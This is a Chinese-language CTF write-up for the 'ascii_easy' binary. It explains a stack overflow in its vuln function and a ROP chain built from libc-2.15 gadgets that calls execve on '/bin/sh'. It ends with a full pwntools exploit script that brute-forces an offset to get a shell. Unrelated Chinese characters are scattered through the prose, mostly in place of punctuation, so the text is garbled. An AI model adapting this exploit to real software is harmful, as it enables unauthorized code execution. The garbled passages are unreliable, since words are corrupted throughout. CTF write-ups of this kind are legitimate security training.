1.ssh連上服務(wù)器后,利用
scp<用戶名>@<ssh服務(wù)器地址>:<文件><本地文件路徑>
將ascii_easy和libc-2.15下載到本地晒杈。
2.利用IDA將ascii_easy打開柑贞,找到主函數(shù)方椎,F(xiàn)5,可以看到該程序加載了libc-2.15钧嘶,在地址0x5555E00棠众。
然后對給的參數(shù),檢查是否是ASCII可見有决,如果可見就到 vuln函數(shù)
vuln有明顯的溢出闸拿,只分配了0x1c的空間,可以溢出书幕。
3.該程序開了DEP新荤,應(yīng)該要用ROP進(jìn)行流程劫持,在服務(wù)器上是有ASLR的按咒,所以可以利用libc-2.15.so來進(jìn)行利用迟隅。
用peda調(diào)試可以看到,該libc的加載位置
4.利用ROPgadgets來尋找system或者execve函數(shù)励七,最終找到符合要求的是0xb876a
0xb8767可將存有/bin/sh\x00的寄存器eax的值移到esp中(var_1c=-1ch)智袭。
所以只要將字符串移入eax中就行,在GDB中調(diào)試可以看到輸入字符串的起始地址是存在ECX寄存器中,
所以我們確定的execv的地址就是 0x0B8767+0x5555E000
所以我們在輸入?yún)?shù)時將/bin/sh\x00一起輸入掠抬,然后只需要將ECX移動吼野,然后mov EAX ECX,就可以加載該字符串两波。這些命令全部可以再libc-2.15.so中找到瞳步,例如:
python ./ROPgadget.py --binary libc-2.15.so --only 'dec|ret' |grep 'ecx'
5.所以最終的exploit是
from pwn import *
#context.log_level = 'DEBUG'
dec_ecx = p32(0x556e5840)
mov_eax_ecx = p32(0x556a6253)
execve = p32(0x55616767)
NULL_PTR = p32(0x556f315c)#0
count = 4
for i in range(0x00,0xff,1):
print count+i
payload = "A"*32+dec_ecx * (count+i) + mov_eax_ecx + execve + NULL_PTR*(2+i) + "/bin/sh\x00"
p = process(argv=['./ascii_easy',payload])
p.interactive()
在本地可以成功拿到shell,這里進(jìn)行循環(huán)的原因是腰奋,緩存在GDB調(diào)試的時候是固定的单起,在實(shí)際運(yùn)行中它的地址是不確定的所以要進(jìn)行遍歷。
在服務(wù)器不行劣坊,原因也沒有找到嘀倒。。局冰。